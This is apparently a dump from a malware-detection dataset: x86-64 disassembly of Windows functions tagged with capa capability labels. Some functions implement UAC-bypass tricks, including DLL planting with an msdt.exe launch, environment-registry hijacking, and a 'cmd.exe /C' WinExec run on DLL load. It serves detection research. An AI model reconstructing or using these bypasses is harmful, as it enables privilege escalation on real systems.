joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180002b08
Capabilities:
Print debug messages

Disassembly:
jmp 0x1800b41b0
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [0x1801020d8]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x1800b41d6
jmp 0x1800b4253
mov rcx, qword [rbp + 0x30]
call fcn.1800024a0
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x1800b41ef
jmp 0x1800b4253
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x1800b420c
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.180001825
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.180001bd1
test eax, eax
jne 0x1800b4253
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.180002626
lea rsp, [rbp + 0x20]
pop rbp
ret
Function at 0x180002db0
Capabilities:
Parse pe header

Disassembly:
jmp 0x180007910
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
lea rcx, [0x18011100a]
call fcn.180003d19
mov rax, qword [rsp + 0x40]
mov qword [0x1801032d0], rax
mov rax, qword [0x1801032d0]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x180007947
xor al, al
jmp 0x1800079b0
mov rax, qword [0x1801032d0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [0x1801032d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp dword [rax], 0x4550
jne 0x180007981
mov rax, qword [rsp + 0x20]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x180007985
xor al, al
jmp 0x1800079b0
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [0x1801032d0]
add rcx, rax
mov rax, rcx
mov qword [0x1801032d8], rax
mov al, 1
add rsp, 0x30
pop rdi
ret
Function at 0x180003332
Capabilities:
Terminate process

Disassembly:
jmp 0x18007d280
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x18007d2ae
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.1800039cc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1800033d2
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x18009af90
mov dword [rsp + 8], ecx
sub rsp, 0x38
call fcn.180099fa0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x18009afc5
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov ecx, dword [rsp + 0x40]
mov rax, qword [rsp + 0x28]
call qword [0x180112020]
jmp 0x18009afcf
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x38
ret

Function at 0x1800037ba
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x18009aff0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x38
call fcn.180099fe0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x18009b02f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rdx, qword [rsp + 0x48]
mov ecx, dword [rsp + 0x40]
mov rax, qword [rsp + 0x28]
call qword [0x180112020]
jmp 0x18009b03e
mov rdx, qword [rsp + 0x48]
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x38
ret

Function at 0x180003a2b
Capabilities:
Print debug messages

Disassembly:
jmp 0x180091220
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x180003ab7
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x180023180
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.180022ad0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1800231c9
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x180112020]
jmp 0x1800231d8
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x48
ret

Function at 0x180007390
Capabilities:
Create process on windows

Disassembly:
jmp 0x180007390
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
lea rcx, [0x180111001]
call fcn.180003d19
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x1800073f0
cmp dword [rsp + 0x20], 1
je 0x1800073c7
jmp 0x1800073fa
xor edx, edx
lea rcx, str.cmd.exe__C__AmiHtEGFHNaP_
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rcx, qword [rsp + 0x40]
call fcn.180002db0
movzx eax, al
jmp 0x1800073ff
mov rcx, qword [rsp + 0x50]
call fcn.1800038aa
mov eax, 1
add rsp, 0x30
pop rdi
ret
Function at 0x180007910
Capabilities:
Parse pe header

Disassembly:
jmp 0x180007910
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
lea rcx, [0x18011100a]
call fcn.180003d19
mov rax, qword [rsp + 0x40]
mov qword [0x1801032d0], rax
mov rax, qword [0x1801032d0]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x180007947
xor al, al
jmp 0x1800079b0
mov rax, qword [0x1801032d0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [0x1801032d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp dword [rax], 0x4550
jne 0x180007981
mov rax, qword [rsp + 0x20]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x180007985
xor al, al
jmp 0x1800079b0
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [0x1801032d0]
add rcx, rax
mov rax, rcx
mov qword [0x1801032d8], rax
mov al, 1
add rsp, 0x30
pop rdi
ret
Function at 0x14001605f
Capabilities:
Set registry value

Disassembly:
jmp 0x1400393c0
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, reloc.Cabinet.dll_FCIDestroy
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x148]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0xe8], rax
lea rcx, [0x14007db67]
call fcn.140016b68
cmp qword [rbp + 0x118], 0
je 0x140039435
mov rdx, qword [rbp + 0x118]
lea rcx, [rbp + 8]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
jmp 0x140039449
mov qword [rbp + 0x10], 0
xor eax, eax
mov word [rbp + 8], ax
xor eax, eax
mov word [rbp + 0xa], ax
mov eax, dword [rbp + 0x130]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x128]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x120]
xor r8d, r8d
lea rdx, [rbp + 8]
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.ntdll.dll_NtSetValueKey]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14005faa0]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0xe8]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0xf8]
pop rdi
pop rbp
ret

Function at 0x140016096
Capabilities:
Create thread
Terminate thread

Disassembly:
jmp 0x140031660
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x178]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x14007d6df]
call fcn.140016b68
lea rax, [rbp + 0x44]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, qword [rbp + 0x140]
lea r8, [0x140016140]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400316e2
jmp 0x140031774
lea rax, [rbp + 0x44]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140016172]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x14003173e
mov edx, 0x3a98
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x140031734
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x2710
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x140031760
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
test eax, eax
jne 0x1400316a9
mov eax, dword [0x1400734c4]
cmp eax, 1
jne 0x14003178b
mov dword [rbp + 0x114], 1
jmp 0x140031795
mov dword [rbp + 0x114], 0
mov eax, dword [rbp + 0x114]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x1400592f0]
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x1400160d7
Capabilities:
Delete registry value
Set registry value

Disassembly:
jmp 0x14003ac90
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x1a8]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x14007db67]
call fcn.140016b68
mov dword [rbp + 4], 0
mov qword [rbp + 0x28], 0
cmp qword [rbp + 0x170], 0
jne 0x14003ad04
jmp 0x14003ae42
cmp qword [rbp + 0x168], 0
jne 0x14003ad1b
lea rax, str.Environment
mov qword [rbp + 0x68], rax
jmp 0x14003ad26
mov rax, qword [rbp + 0x168]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x178], 0
jne 0x14003ad3e
cmp dword [rbp + 0x160], 0
jne 0x14003ad3e
jmp 0x14003ae42
lea r8, [rbp + 0x28]
mov rdx, qword [rbp + 0x68]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x14003ad5c
jmp 0x14003ae42
cmp dword [rbp + 0x160], 0
je 0x14003ad9b
mov rdx, qword [rbp + 0x170]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test eax, eax
jne 0x14003ad86
mov dword [rbp + 0x134], 1
jmp 0x14003ad90
mov dword [rbp + 0x134], 0
mov eax, dword [rbp + 0x134]
mov dword [rbp + 4], eax
jmp 0x14003adff
mov rcx, qword [rbp + 0x178]
call fcn.1400162a3
lea rax, [rax + rax + 2]
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x44]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x178]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rbp + 0x170]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x14003adec
mov dword [rbp + 0x134], 1
jmp 0x14003adf6
mov dword [rbp + 0x134], 0
mov eax, dword [rbp + 0x134]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x14003ae38
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x3e8
mov dword [rsp + 0x20], 1
mov r9, qword [rbp + 0x170]
xor r8d, r8d
mov edx, 0x1a
mov ecx, 0xffff
call qword [sym.imp.USER32.dll_SendMessageTimeoutW]
xor eax, eax
test eax, eax
jne 0x14003acf5
cmp qword [rbp + 0x28], 0
je 0x14003ae5d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x14005f270]
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x1400160fa
Capabilities:
Print debug messages

Disassembly:
jmp 0x14002d730
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1a8]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x14007d2db]
call fcn.140016b68
mov dword [rbp + 4], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
mov dword [rbp + 0x64], 0x80004005
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0x84], eax
lea r9, [rbp + 0x28]
mov r8d, 4
lea rdx, [0x140068800]
lea rcx, str.3AD05575_8857_4850_9277_11B85BDB8E09
call fcn.140016965
test eax, eax
je 0x14002d7d0
jmp 0x14002d87e
cmp qword [rbp + 0x28], 0
jne 0x14002d7dc
jmp 0x14002d87e
mov rax, qword [rbp + 0x28]
mov rax, qword [rax]
mov rcx, qword [0x140073c18]
mov edx, dword [rcx + 0x10]
mov rcx, qword [rbp + 0x28]
call qword [rax + 0x28]
test eax, eax
je 0x14002d7fd
jmp 0x14002d87e
lea r9, [rbp + 0x48]
lea r8, [0x1400683e0]
xor edx, edx
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
test eax, eax
je 0x14002d81d
jmp 0x14002d87e
mov rax, qword [rbp + 0x28]
mov rax, qword [rax]
xor r8d, r8d
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x28]
call qword [rax + 0x90]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
je 0x14002d840
jmp 0x14002d87e
mov rax, qword [rbp + 0x28]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x28]
call qword [rax + 0xa8]
test eax, eax
je 0x14002d857
jmp 0x14002d87e
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x48]
call qword [rax + InitCommonControls]
mov qword [rbp + 0x48], 0
mov dword [rbp + 4], 1
xor eax, eax
test eax, eax
jne 0x14002d7aa
cmp qword [rbp + 0x28], 0
je 0x14002d893
mov rax, qword [rbp + 0x28]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x28]
call qword [rax + InitCommonControls]
cmp qword [rbp + 0x48], 0
je 0x14002d8a8
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x48]
call qword [rax + InitCommonControls]
cmp dword [rbp + 0x84], 0
jne 0x14002d8b7
call qword [sym.imp.ole32.dll_CoUninitialize]
cmp dword [rbp + 4], 0
je 0x14002d8d9
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rcx, str._r_nCleanup_success_r_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x14002d8e6
lea rcx, str._r_nCleanup_failed_r_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x140016118
Capabilities:
Create process on windows

Disassembly:
jmp 0x14003a710
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x26
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x198]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0x148], rax
lea rcx, [0x14007db67]
call fcn.140016b68
mov edx, 0x70
lea rcx, [rbp + 0x10]
call fcn.140016825
mov dword [rbp + 0x10], 0x70
mov dword [rbp + 0x14], 0x440
mov rax, qword [rbp + 0x170]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x178]
mov qword [rbp + 0x30], rax
mov eax, dword [rbp + 0x188]
mov dword [rbp + 0x40], eax
mov rax, qword [rbp + 0x180]
mov qword [rbp + 0x20], rax
lea rcx, [rbp + 0x10]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x14003a7c2
mov rax, qword [rbp + 0x78]
jmp 0x14003a7c4
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14005e8f0]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x148]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x158]
pop rdi
pop rbp
ret

Function at 0x14001612c
Capabilities:
Write file on windows

Disassembly:
jmp 0x14003c890
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x14007db67]
call fcn.140016b68
mov dword [rbp + 0x24], 0
cmp qword [rbp + 0x128], 0
je 0x14003c8fd
cmp dword [rbp + 0x130], 0
jne 0x14003c904
xor eax, eax
jmp 0x14003c9b0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
je 0x14003c971
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x24]
mov r8d, dword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14003c989
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateFile
call fcn.140016366
xor eax, eax
jmp 0x14003c9b0
mov eax, dword [rbp + 0x130]
cmp dword [rbp + 0x24], eax
jne 0x14003c9a0
mov dword [rbp + 0xf4], 1
jmp 0x14003c9aa
mov dword [rbp + 0xf4], 0
mov eax, dword [rbp + 0xf4]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14005e580]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x140016177
Capabilities:
Delete file

Disassembly:
jmp 0x14002ad90
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x718
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x12e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x738]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0x6e8], rax
lea rcx, [0x14007d1da]
call fcn.140016b68
mov dword [rbp + 4], 0xc0000022
mov rax, qword [0x140073c18]
cmp dword [rax + 8], 0x4a61
jae 0x14002ae00
mov dword [rbp + 0x6e4], 1
jmp 0x14002ae0a
mov dword [rbp + 0x6e4], 2
mov eax, dword [rbp + 0x6e4]
mov dword [rbp + 0x44], eax
mov dword [rbp + 0x24], 0
jmp 0x14002ae24
mov eax, dword [rbp + 0x24]
inc eax
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x44]
cmp dword [rbp + 0x24], eax
jae 0x14002aede
mov eax, dword [rbp + 0x24]
lea rcx, str.dismcore.dll
mov r9d, dword [rbp + 0x718]
mov r8, qword [rbp + 0x710]
mov rdx, qword [rcx + rax*8]
xor ecx, ecx
call fcn.1400161a4
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x14002ae64
call fcn.140016b13
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x14002aece
mov rax, qword [0x140073c18]
add rax, 0x47c
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.1400161f9
mov eax, dword [rbp + 0x24]
lea rcx, str.dismcore.dll
mov rdx, qword [rcx + rax*8]
lea rcx, [rbp + 0x90]
call fcn.140016af0
lea rcx, [rbp + 0x90]
call fcn.1400162a3
mov qword [rbp + 0x68], rax
mov eax, 0x7e
mov rcx, qword [rbp + 0x68]
mov word [rbp + rcx*2 + 0x8e], ax
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14002ae1c
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140056690]
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x6e8]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x6f8]
pop rdi
pop rbp
ret
Function at 0x140016186
Capabilities:
Delete file
Get common file path

Disassembly:
jmp 0x14002bd80
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xfa8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2be
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xfc8]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0xf68], rax
lea rcx, [0x14007d1da]
call fcn.140016b68
mov byte [rbp + 4], 0
mov dword [rbp + 0x44], 0xc0000022
mov edx, 0x410
lea rcx, [rbp + 0x70]
call fcn.140016825
xor r9d, r9d
mov r8d, 0x1c
lea rdx, [rbp + 0x70]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x14002be04
jmp 0x14002bf16
mov r8d, 0x104
lea rdx, str.MicrosoftWindowsApps
lea rcx, [rbp + 0x70]
call fcn.140016983
mov r8d, 0x104
lea rdx, str.BluetoothDiagnosticUtil.dll
lea rcx, [rbp + 0x70]
call fcn.140016983
mov r8d, dword [rbp + 0xf98]
mov rdx, qword [rbp + 0xf90]
lea rcx, [rbp + 0x70]
call fcn.14001612c
test eax, eax
jne 0x14002be50
jmp 0x14002bf16
mov byte [rbp + 4], 1
mov rax, qword [0x140073c18]
add rax, 0x68
mov rdx, rax
lea rcx, [rbp + 0x4a0]
call fcn.1400161f9
mov r8d, 0x104
lea rdx, str._syswow64_
lea rcx, [rbp + 0x4a0]
call fcn.140016983
mov r8d, 0x104
lea rdx, str.msdt.exe
lea rcx, [rbp + 0x4a0]
call fcn.140016983
lea rdx, str._path
lea rcx, [rbp + 0x6d0]
call fcn.1400161f9
mov rax, qword [0x140073c18]
add rax, 0x68
mov rdx, rax
lea rcx, [rbp + 0x6d0]
call fcn.140016af0
lea rdx, str.diagnosticsindexBluetoothDiagnostic.xml__skip_yes
lea rcx, [rbp + 0x6d0]
call fcn.140016af0
mov dword [rsp + 0x20], 0x2710
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x6d0]
lea rcx, [rbp + 0x4a0]
call fcn.14001689d
test eax, eax
je 0x14002bf0c
mov dword [rbp + 0x44], 0
xor eax, eax
test eax, eax
jne 0x14002bdd8
movzx eax, byte [rbp + 4]
test eax, eax
je 0x14002bf4e
mov dword [rbp + 0x24], 5
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x14002bf35
jmp 0x14002bf4e
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp + 0x24]
dec eax
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x14002bf25
call fcn.14001615e
mov eax, dword [rbp + 0x44]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x140056e40]
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0xf68]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0xf78]
pop rdi
pop rbp
ret
Function at 0x1400161c7
Capabilities:
Start service

Disassembly:
jmp 0x1400281c0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rcx, [0x14007cdd2]
call fcn.140016b68
mov byte [rbp + 4], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
mov r8d, 1
lea rdx, str.ServicesActive
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140028218
jmp 0x1400282f0
mov r8d, 0x14
mov rdx, qword [rbp + 0x180]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x14002823f
jmp 0x1400282f0
mov rcx, qword [rbp + 0x48]
call fcn.140016910
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 4
jne 0x14002825a
mov byte [rbp + 4], 1
jmp 0x1400282f0
cmp dword [rbp + 0x64], 6
je 0x140028266
cmp dword [rbp + 0x64], 3
jne 0x1400282aa
mov dword [rbp + 0x84], 5
mov rcx, qword [rbp + 0x48]
call fcn.140016910
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 4
jne 0x140028288
mov byte [rbp + 4], 1
jmp 0x1400282aa
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp + 0x84]
dec eax
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jne 0x140028270
cmp dword [rbp + 0x64], 1
jne 0x1400282e6
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x1400282e6
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0x48]
call fcn.140016910
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 4
jne 0x1400282e6
mov byte [rbp + 4], 1
jmp 0x1400282f0
xor eax, eax
test eax, eax
jne 0x1400281f3
cmp qword [rbp + 0x48], 0
je 0x140028301
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp qword [rbp + 0x28], 0
je 0x140028312
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
movzx eax, byte [rbp + 4]
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret

Function at 0x1400162c6
Capabilities:
Delete file

Disassembly:
jmp 0x14002b970
push rbp
push rdi
